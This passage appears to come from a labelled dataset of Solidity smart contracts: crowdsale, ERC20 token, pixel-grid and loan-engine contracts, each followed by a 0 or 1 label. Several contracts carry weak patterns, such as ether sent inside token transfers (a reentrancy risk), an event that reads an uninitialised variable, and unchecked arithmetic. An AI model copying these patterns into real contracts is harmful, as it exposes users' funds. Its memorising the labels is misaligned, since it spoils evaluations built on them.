Refunded(address indexed beneficiary, uint256 weiAmount); constructor(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; emit Closed(); wallet.transfer(address(this).balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; emit RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); emit Refunded(investor, depositedValue); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract PixieCrowdsale is Crowdsale, Pausable { event Finalized(); event MinimumContributionUpdated(uint256 _minimumContribution); event OwnerTransfer( address indexed owner, address indexed caller, address indexed beneficiary, uint256 amount ); mapping(address => bool) public whitelist; mapping(address => bool) public managementWhitelist; mapping(address => uint256) public contributions; bool public isFinalized = false; uint256 public openingTime = 1530608400; uint256 public privateSaleCloseTime = 1533113999; uint256 public preSaleCloseTime = 1538384399; uint256 public closingTime = 1540979999; uint256 public rate = 396039; uint256 public privateSaleRate = 485148; uint256 public preSaleRate = 445544; uint256 public softCap = 2650 ether; uint256 public hardCap = 101000 ether; uint256 public minimumContribution = 1 ether; RefundVault public vault; modifier onlyManagement() { require(msg.sender == owner || managementWhitelist[msg.sender], "Must be owner or in management whitelist"); _; } constructor(address _wallet, PixieToken _token) public Crowdsale(rate, _wallet, _token) { vault = new RefundVault(wallet); } function softCapReached() public view returns (bool) { return weiRaised >= softCap; } function finalization() internal { if (softCapReached()) { vault.close(); } else { vault.enableRefunds(); } } function _forwardFunds() internal { if (isFinalized) { wallet.transfer(msg.value); } else { vault.deposit.value(msg.value)(msg.sender); } } function finalize() onlyOwner public { require(!isFinalized, "Crowdsale already finalised"); finalization(); emit Finalized(); isFinalized = true; } function addToWhitelist(address _beneficiary) external onlyManagement { whitelist[_beneficiary] = true; } function addManyToWhitelist(address[] _beneficiaries) external onlyManagement { for (uint256 i = 0; i < _beneficiaries.length; i++) { whitelist[_beneficiaries[i]] = true; } } function removeFromWhitelist(address _beneficiary) external onlyManagement { whitelist[_beneficiary] = false; } function addToManagementWhitelist(address _manager) external onlyManagement { managementWhitelist[_manager] = true; } function removeFromManagementWhitelist(address _manager) external onlyManagement { managementWhitelist[_manager] = false; } function updateOpeningTime(uint256 _openingTime) external onlyManagement { require(_openingTime > 0, "A opening time must be specified"); openingTime = _openingTime; } function updatePrivateSaleCloseTime(uint256 _privateSaleCloseTime) external onlyManagement { require(_privateSaleCloseTime > openingTime, "A private sale time must after the opening time"); privateSaleCloseTime = _privateSaleCloseTime; } function updatePreSaleCloseTime(uint256 _preSaleCloseTime) external onlyManagement { require(_preSaleCloseTime > privateSaleCloseTime, "A pre sale time must be after the private sale close time"); preSaleCloseTime = _preSaleCloseTime; } function updateClosingTime(uint256 _closingTime) external onlyManagement { require(_closingTime > preSaleCloseTime, "A closing time must be after the pre-sale close time"); closingTime = _closingTime; } function updateMinimumContribution(uint256 _minimumContribution) external onlyManagement { require(_minimumContribution > 0, "Minimum contribution must be great than zero"); minimumContribution = _minimumContribution; emit MinimumContributionUpdated(_minimumContribution); } function getDateRanges() external view returns ( uint256 _openingTime, uint256 _privateSaleCloseTime, uint256 _preSaleCloseTime, uint256 _closingTime ) { return ( openingTime, privateSaleCloseTime, preSaleCloseTime, closingTime ); } function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { super._updatePurchasingState(_beneficiary, _weiAmount); contributions[_beneficiary] = contributions[_beneficiary].add(_weiAmount); } function hardCapReached() public view returns (bool) { return weiRaised >= hardCap; } function hasClosed() public view returns (bool) { return now > closingTime; } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { if (now < privateSaleCloseTime) { return _weiAmount.mul(privateSaleRate); } if (now < preSaleCloseTime) { return _weiAmount.mul(preSaleRate); } return _weiAmount.mul(rate); } function isCrowdsaleOpen() public view returns (bool) { return now >= openingTime && now <= closingTime; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { super._preValidatePurchase(_beneficiary, _weiAmount); require(isCrowdsaleOpen(), "Crowdsale not open"); require(weiRaised.add(_weiAmount) <= hardCap, "Exceeds maximum cap"); require(_weiAmount >= minimumContribution, "Beneficiary minimum amount not reached"); require(whitelist[_beneficiary], "Beneficiary not whitelisted"); require(whitelist[msg.sender], "Sender not whitelisted"); require(!paused, "Contract paused"); } function transfer(address _beneficiary, uint256 _tokenAmount) external onlyOwner { _deliverTokens(_beneficiary, _tokenAmount); emit OwnerTransfer(msg.sender, address(this), _beneficiary, _tokenAmount); } }
0
pragma solidity 0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns(uint256) { if(a == 0) return 0; uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns(uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns(uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns(uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns(uint256) { require(b != 0); return a % b; } } contract Ownable { address public owner; address public new_owner; event OwnershipTransfer(address indexed previousOwner, address indexed newOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { owner = msg.sender; } function _transferOwnership(address _to) internal { require(_to != address(0)); new_owner = _to; emit OwnershipTransfer(owner, _to); } function acceptOwnership() public { require(new_owner != address(0) && msg.sender == new_owner); emit OwnershipTransferred(owner, new_owner); owner = new_owner; new_owner = address(0); } function transferOwnership(address _to) public onlyOwner { _transferOwnership(_to); } } contract ERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() public view returns(uint256); function balanceOf(address who) public view returns(uint256); function transfer(address to, uint256 value) public returns(bool); function transferFrom(address from, address to, uint256 value) public returns(bool); function allowance(address owner, address spender) public view returns(uint256); function approve(address spender, uint256 value) public returns(bool); } contract StandardToken is ERC20 { using SafeMath for uint256; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) internal allowed; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } function totalSupply() public view returns(uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns(uint256) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function multiTransfer(address[] _to, uint256[] _value) public returns(bool) { require(_to.length == _value.length); for(uint i = 0; i < _to.length; i++) { transfer(_to[i], _value[i]); } return true; } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function allowance(address _owner, address _spender) public view returns(uint256) { return allowed[_owner][_spender]; } function approve(address _spender, uint256 _value) public returns(bool) { require(_spender != address(0)); require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function increaseApproval(address _spender, uint _addedValue) public returns(bool) { require(_spender != address(0)); require(_addedValue > 0); allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns(bool) { require(_spender != address(0)); require(_subtractedValue > 0); uint oldValue = allowed[msg.sender][_spender]; if(_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract MintableToken is StandardToken, Ownable { bool public mintingFinished = false; event Mint(address indexed to, uint256 amount); event MintFinished(); modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint(address _to, uint256 _amount) hasMintPermission canMint public returns(bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns(bool) { mintingFinished = true; emit MintFinished(); return true; } } contract CappedToken is MintableToken { uint256 public cap; constructor(uint256 _cap) public { require(_cap > 0); cap = _cap; } function mint(address _to, uint256 _amount) public returns(bool) { require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } function burn(uint256 _value) public { _burn(msg.sender, _value); } function burnFrom(address _from, uint256 _value) public { require(_value <= allowed[_from][msg.sender]); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _burn(_from, _value); } } contract Withdrawable is Ownable { event WithdrawEther(address indexed to, uint value); function withdrawEther(address _to, uint _value) onlyOwner public { require(_to != address(0)); require(address(this).balance >= _value); _to.transfer(_value); emit WithdrawEther(_to, _value); } function withdrawTokensTransfer(ERC20 _token, address _to, uint256 _value) onlyOwner public { require(_token.transfer(_to, _value)); } function withdrawTokensTransferFrom(ERC20 _token, address _from, address _to, uint256 _value) onlyOwner public { require(_token.transferFrom(_from, _to, _value)); } function withdrawTokensApprove(ERC20 _token, address _spender, uint256 _value) onlyOwner public { require(_token.approve(_spender, _value)); } } contract Pausable is Ownable { bool public paused = false; event Pause(); event Unpause(); modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract Manageable is Ownable { address[] public managers; event ManagerAdded(address indexed manager); event ManagerRemoved(address indexed manager); modifier onlyManager() { require(isManager(msg.sender)); _; } function countManagers() view public returns(uint) { return managers.length; } function getManagers() view public returns(address[]) { return managers; } function isManager(address _manager) view public returns(bool) { for(uint i = 0; i < managers.length; i++) { if(managers[i] == _manager) { return true; } } return false; } function addManager(address _manager) onlyOwner public { require(_manager != address(0)); require(!isManager(_manager)); managers.push(_manager); emit ManagerAdded(_manager); } function removeManager(address _manager) onlyOwner public { uint index = managers.length; for(uint i = 0; i < managers.length; i++) { if(managers[i] == _manager) { index = i; } } if(index >= managers.length) revert(); for(; index < managers.length - 1; index++) { managers[index] = managers[index + 1]; } managers.length--; emit ManagerRemoved(_manager); } } contract RewardToken is StandardToken, Ownable { struct Payment { uint time; uint amount; } Payment[] public repayments; mapping(address => Payment[]) public rewards; event Repayment(address indexed from, uint256 amount); event Reward(address indexed to, uint256 amount); function repayment() onlyOwner payable public { require(msg.value >= 0.01 ether); repayments.push(Payment({time : block.timestamp, amount : msg.value})); emit Repayment(msg.sender, msg.value); } function _reward(address _to) private returns(bool) { if(rewards[_to].length < repayments.length) { uint sum = 0; for(uint i = rewards[_to].length; i < repayments.length; i++) { uint amount = balances[_to] > 0 ? (repayments[i].amount * balances[_to] / totalSupply_) : 0; rewards[_to].push(Payment({time : block.timestamp, amount : amount})); sum += amount; } if(sum > 0) { _to.transfer(sum); emit Reward(_to, sum); } return true; } return false; } function reward() public returns(bool) { return _reward(msg.sender); } function transfer(address _to, uint256 _value) public returns(bool) { _reward(msg.sender); _reward(_to); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns(bool) { _reward(_from); _reward(_to); return super.transferFrom(_from, _to, _value); } } contract Token is RewardToken, CappedToken, BurnableToken, Withdrawable { constructor() CappedToken(2000000000 * 1e8) StandardToken("TLS Token", "TLS", 8) public { } } contract Crowdsale is Manageable, Withdrawable, Pausable { using SafeMath for uint; Token public token; bool public crowdsaleClosed = false; event ExternalPurchase(address indexed holder, string tx, string currency, uint256 currencyAmount, uint256 rateToEther, uint256 tokenAmount); event CrowdsaleClose(); constructor() public { token = new Token(); addManager(0x3a75fedC58bc0a5B10F5FCcC6c0a24470C34a0e8); addManager(0x66F6aE2B20DF5a07bDc9b92fF80aEb77e3d81B11); } function externalPurchase(address _to, string _tx, string _currency, uint _value, uint256 _rate, uint256 _tokens) whenNotPaused onlyManager external { require(!crowdsaleClosed); require(_to != address(0)); token.mint(_to, _tokens); emit ExternalPurchase(_to, _tx, _currency, _value, _rate, _tokens); } function closeCrowdsale(address _newTokenOwner) onlyOwner external { require(!crowdsaleClosed); require(_newTokenOwner != address(0)); token.finishMinting(); token.transferOwnership(_newTokenOwner); crowdsaleClosed = true; emit CrowdsaleClose(); } function transferTokenOwnership(address _to) onlyOwner external { require(crowdsaleClosed); require(_to != address(0)); token.transferOwnership(_to); } }
0
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } } contract EzPoint is StandardToken, Ownable{ using SafeMath for uint256; string public name = "EzPoint"; string public symbol = "EZPT"; uint8 public constant decimals = 18; uint256 private _N = (10 ** uint256(decimals)); uint256 public INITIAL_SUPPLY = _N.mul(10000000000); function EzPoint() public { totalSupply_ = INITIAL_SUPPLY; balances[owner] = totalSupply_; } function setName(string _name) onlyOwner public { name = _name; } function setSymbol(string _symbol) onlyOwner public { symbol = _symbol; } }
1
pragma solidity ^0.4.18; contract Griddeth { string public constant NAME = "Griddeth"; uint8[18000] grid8; function getGrid8() public view returns (uint8[18000]) { return grid8; } function setColor8(uint256 i, uint8 color) public { grid8[i] = color; } function Griddeth() public { } }
1
pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract NectarChina { string public name = "NectarChina"; string public symbol = "NECC"; uint256 public decimals = 18; uint256 public totalSupply = 1000*1000*100*10**decimals; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function NectarChina( ) public { balanceOf[msg.sender] = totalSupply; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } }
1
pragma solidity ^0.4.19; contract Engine { uint256 public VERSION; string public VERSION_NAME; enum Status { initial, lent, paid, destroyed } struct Approbation { bool approved; bytes data; bytes32 checksum; } function getTotalLoans() public view returns (uint256); function getOracle(uint index) public view returns (Oracle); function getBorrower(uint index) public view returns (address); function getCosigner(uint index) public view returns (address); function ownerOf(uint256) public view returns (address owner); function getCreator(uint index) public view returns (address); function getAmount(uint index) public view returns (uint256); function getPaid(uint index) public view returns (uint256); function getDueTime(uint index) public view returns (uint256); function getApprobation(uint index, address _address) public view returns (bool); function getStatus(uint index) public view returns (Status); function isApproved(uint index) public view returns (bool); function getPendingAmount(uint index) public returns (uint256); function getCurrency(uint index) public view returns (bytes32); function cosign(uint index, uint256 cost) external returns (bool); function approveLoan(uint index) public returns (bool); function transfer(address to, uint256 index) public returns (bool); function takeOwnership(uint256 index) public returns (bool); function withdrawal(uint index, address to, uint256 amount) public returns (bool); } contract Cosigner { uint256 public constant VERSION = 2; function url() public view returns (string); function cost(address engine, uint256 index, bytes data, bytes oracleData) public view returns (uint256); function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool); function claim(address engine, uint256 index, bytes oracleData) public returns (bool); } contract ERC721 { function name() public view returns (string _name); function symbol() public view returns (string _symbol); function totalSupply() public view returns (uint256 _totalSupply); function balanceOf(address _owner) public view returns (uint _balance); function ownerOf(uint256) public view returns (address owner); function approve(address, uint256) public returns (bool); function takeOwnership(uint256) public returns (bool); function transfer(address, uint256) public returns (bool); function setApprovalForAll(address _operator, bool _approved) public returns (bool); function getApproved(uint256 _tokenId) public view returns (address); function isApprovedForAll(address _owner, address _operator) public view returns (bool); function tokenMetadata(uint256 _tokenId) public view returns (string info); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved); } contract Token { function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); function approve(address _spender, uint256 _value) public returns (bool success); function increaseApproval (address _spender, uint _addedValue) public returns (bool success); function balanceOf(address _owner) public view returns (uint256 balance); } contract Ownable { address public owner; modifier onlyOwner() { require(msg.sender == owner); _; } function Ownable() public { owner = msg.sender; } function transferTo(address _to) public onlyOwner returns (bool) { require(_to != address(0)); owner = _to; return true; } } contract Oracle is Ownable { uint256 public constant VERSION = 3; event NewSymbol(bytes32 _currency, string _ticker); struct Symbol { string ticker; bool supported; } mapping(bytes32 => Symbol) public currencies; function url() public view returns (string); function getRate(bytes32 symbol, bytes data) public returns (uint256 rate, uint256 decimals); function addCurrency(string ticker) public onlyOwner returns (bytes32) { NewSymbol(currency, ticker); bytes32 currency = keccak256(ticker); currencies[currency] = Symbol(ticker, true); return currency; } function supported(bytes32 symbol) public view returns (bool) { return currencies[symbol].supported; } } contract RpSafeMath { function safeAdd(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x + y; require((z >= x) && (z >= y)); return z; } function safeSubtract(uint256 x, uint256 y) internal pure returns(uint256) { require(x >= y); uint256 z = x - y; return z; } function safeMult(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x * y; require((x == 0)||(z/x == y)); return z; } function min(uint256 a, uint256 b) internal pure returns(uint256) { if (a < b) { return a; } else { return b; } } function max(uint256 a, uint256 b) internal pure returns(uint256) { if (a > b) { return a; } else { return b; } } } contract TokenLockable is RpSafeMath, Ownable { mapping(address => uint256) public lockedTokens; function lockTokens(address token, uint256 amount) internal { lockedTokens[token] = safeAdd(lockedTokens[token], amount); } function unlockTokens(address token, uint256 amount) internal { lockedTokens[token] = safeSubtract(lockedTokens[token], amount); } function withdrawTokens(Token token, address to, uint256 amount) public onlyOwner returns (bool) { require(safeSubtract(token.balanceOf(this), lockedTokens[token]) >= amount); require(to != address(0)); return token.transfer(to, amount); } } contract NanoLoanEngine is ERC721, Engine, Ownable, TokenLockable { uint256 constant internal PRECISION = (10**18); uint256 constant internal RCN_DECIMALS = 18; uint256 public constant VERSION = 211; string public constant VERSION_NAME = "Basalt"; uint256 private activeLoans = 0; mapping(address => uint256) private lendersBalance; function name() public view returns (string _name) { _name = "RCN - Nano loan engine - Basalt 211"; } function symbol() public view returns (string _symbol) { _symbol = "RCN-NLE-211"; } function totalSupply() public view returns (uint _totalSupply) { _totalSupply = activeLoans; } function balanceOf(address _owner) public view returns (uint _balance) { _balance = lendersBalance[_owner]; } function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint tokenId) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0 || _index >= tokenCount) { revert(); } else { uint256 totalLoans = totalSupply(); uint256 resultIndex = 0; uint256 loanId; for (loanId = 0; loanId <= totalLoans; loanId++) { if (loans[loanId].lender == _owner && loans[loanId].status == Status.lent) { if (resultIndex == _index) { return loanId; } resultIndex++; } } revert(); } } function tokensOfOwner(address _owner) external view returns(uint256[] ownerTokens) { uint256 tokenCount = balanceOf(_owner); if (tokenCount == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](tokenCount); uint256 totalLoans = totalSupply(); uint256 resultIndex = 0; uint256 loanId; for (loanId = 0; loanId <= totalLoans; loanId++) { if (loans[loanId].lender == _owner && loans[loanId].status == Status.lent) { result[resultIndex] = loanId; resultIndex++; } } return result; } } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return operators[_owner][_operator]; } function tokenMetadata(uint256 index) public view returns (string) { return loans[index].metadata; } function tokenMetadataHash(uint256 index) public view returns (bytes32) { return keccak256(loans[index].metadata); } Token public rcn; bool public deprecated; event CreatedLoan(uint _index, address _borrower, address _creator); event ApprovedBy(uint _index, address _address); event Lent(uint _index, address _lender, address _cosigner); event DestroyedBy(uint _index, address _address); event PartialPayment(uint _index, address _sender, address _from, uint256 _amount); event TotalPayment(uint _index); function NanoLoanEngine(Token _rcn) public { owner = msg.sender; rcn = _rcn; } struct Loan { Status status; Oracle oracle; address borrower; address lender; address creator; address cosigner; uint256 amount; uint256 interest; uint256 punitoryInterest; uint256 interestTimestamp; uint256 paid; uint256 interestRate; uint256 interestRatePunitory; uint256 dueTime; uint256 duesIn; bytes32 currency; uint256 cancelableAt; uint256 lenderBalance; address approvedTransfer; uint256 expirationRequest; string metadata; mapping(address => bool) approbations; } mapping(address => mapping(address => bool)) private operators; Loan[] private loans; function createLoan(Oracle _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate, uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256) { require(!deprecated); require(_cancelableAt <= _duesIn); require(_oracleContract != address(0) || _currency == 0x0); require(_borrower != address(0)); require(_amount != 0); require(_interestRatePunitory != 0); require(_interestRate != 0); require(_expirationRequest > block.timestamp); var loan = Loan(Status.initial, _oracleContract, _borrower, 0x0, msg.sender, 0x0, _amount, 0, 0, 0, 0, _interestRate, _interestRatePunitory, 0, _duesIn, _currency, _cancelableAt, 0, 0x0, _expirationRequest, _metadata); uint index = loans.push(loan) - 1; CreatedLoan(index, _borrower, msg.sender); if (msg.sender == _borrower) { approveLoan(index); } return index; } function ownerOf(uint256 index) public view returns (address owner) { owner = loans[index].lender; } function getTotalLoans() public view returns (uint256) { return loans.length; } function getOracle(uint index) public view returns (Oracle) { return loans[index].oracle; } function getBorrower(uint index) public view returns (address) { return loans[index].borrower; } function getCosigner(uint index) public view returns (address) { return loans[index].cosigner; } function getCreator(uint index) public view returns (address) { return loans[index].creator; } function getAmount(uint index) public view returns (uint256) { return loans[index].amount; } function getPunitoryInterest(uint index) public view returns (uint256) { return loans[index].punitoryInterest; } function getInterestTimestamp(uint index) public view returns (uint256) { return loans[index].interestTimestamp; } function getPaid(uint index) public view returns (uint256) { return loans[index].paid; } function getInterestRate(uint index) public view returns (uint256) { return loans[index].interestRate; } function getInterestRatePunitory(uint index) public view returns (uint256) { return loans[index].interestRatePunitory; } function getDueTime(uint index) public view returns (uint256) { return loans[index].dueTime; } function getDuesIn(uint index) public view returns (uint256) { return loans[index].duesIn; } function getCancelableAt(uint index) public view returns (uint256) { return loans[index].cancelableAt; } function getApprobation(uint index, address _address) public view returns (bool) { return loans[index].approbations[_address]; } function getStatus(uint index) public view returns (Status) { return loans[index].status; } function getLenderBalance(uint index) public view returns (uint256) { return loans[index].lenderBalance; } function getApproved(uint index) public view returns (address) {return loans[index].approvedTransfer; } function getCurrency(uint index) public view returns (bytes32) { return loans[index].currency; } function getExpirationRequest(uint index) public view returns (uint256) { return loans[index].expirationRequest; } function getInterest(uint index) public view returns (uint256) { return loans[index].interest; } function isApproved(uint index) public view returns (bool) { Loan storage loan = loans[index]; return loan.approbations[loan.borrower]; } function approveLoan(uint index) public returns(bool) { Loan storage loan = loans[index]; require(loan.status == Status.initial); loan.approbations[msg.sender] = true; ApprovedBy(index, msg.sender); return true; } function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool) { Loan storage loan = loans[index]; require(loan.status == Status.initial); require(isApproved(index)); require(block.timestamp <= loan.expirationRequest); loan.lender = msg.sender; loan.dueTime = safeAdd(block.timestamp, loan.duesIn); loan.interestTimestamp = block.timestamp; loan.status = Status.lent; Transfer(0x0, loan.lender, index); activeLoans += 1; lendersBalance[loan.lender] += 1; if (loan.cancelableAt > 0) internalAddInterest(loan, safeAdd(block.timestamp, loan.cancelableAt)); uint256 transferValue = convertRate(loan.oracle, loan.currency, oracleData, loan.amount); require(rcn.transferFrom(msg.sender, loan.borrower, transferValue)); if (cosigner != address(0)) { loan.cosigner = address(uint256(cosigner) + 2); require(cosigner.requestCosign(this, index, cosignerData, oracleData)); require(loan.cosigner == address(cosigner)); } Lent(index, loan.lender, cosigner); return true; } function cosign(uint index, uint256 cost) external returns (bool) { Loan storage loan = loans[index]; require(loan.status == Status.lent && (loan.dueTime - loan.duesIn) == block.timestamp); require(loan.cosigner != address(0)); require(loan.cosigner == address(uint256(msg.sender) + 2)); loan.cosigner = msg.sender; require(rcn.transferFrom(loan.lender, msg.sender, cost)); return true; } function destroy(uint index) public returns (bool) { Loan storage loan = loans[index]; require(loan.status != Status.destroyed); require(msg.sender == loan.lender || (msg.sender == loan.borrower && loan.status == Status.initial)); DestroyedBy(index, msg.sender); if (loan.status != Status.initial) { lendersBalance[loan.lender] -= 1; activeLoans -= 1; Transfer(loan.lender, 0x0, index); } loan.status = Status.destroyed; return true; } function transfer(address to, uint256 index) public returns (bool) { Loan storage loan = loans[index]; require(loan.status != Status.destroyed && loan.status != Status.paid); require(msg.sender == loan.lender || msg.sender == loan.approvedTransfer || operators[loan.lender][msg.sender]); require(to != address(0)); loan.lender = to; loan.approvedTransfer = address(0); lendersBalance[msg.sender] -= 1; lendersBalance[to] += 1; Transfer(loan.lender, to, index); return true; } function takeOwnership(uint256 _index) public returns (bool) { return transfer(msg.sender, _index); } function transferFrom(address from, address to, uint256 index) public returns (bool) { require(loans[index].lender == from); return transfer(to, index); } function approve(address to, uint256 index) public returns (bool) { Loan storage loan = loans[index]; require(msg.sender == loan.lender); loan.approvedTransfer = to; Approval(msg.sender, to, index); return true; } function setApprovalForAll(address _operator, bool _approved) public returns (bool) { operators[msg.sender][_operator] = _approved; ApprovalForAll(msg.sender, _operator, _approved); return true; } function getPendingAmount(uint index) public returns (uint256) { addInterest(index); return getRawPendingAmount(index); } function getRawPendingAmount(uint index) public view returns (uint256) { Loan memory loan = loans[index]; return safeSubtract(safeAdd(safeAdd(loan.amount, loan.interest), loan.punitoryInterest), loan.paid); } function calculateInterest(uint256 timeDelta, uint256 interestRate, uint256 amount) internal pure returns (uint256 realDelta, uint256 interest) { if (amount == 0) { interest = 0; realDelta = timeDelta; } else { interest = 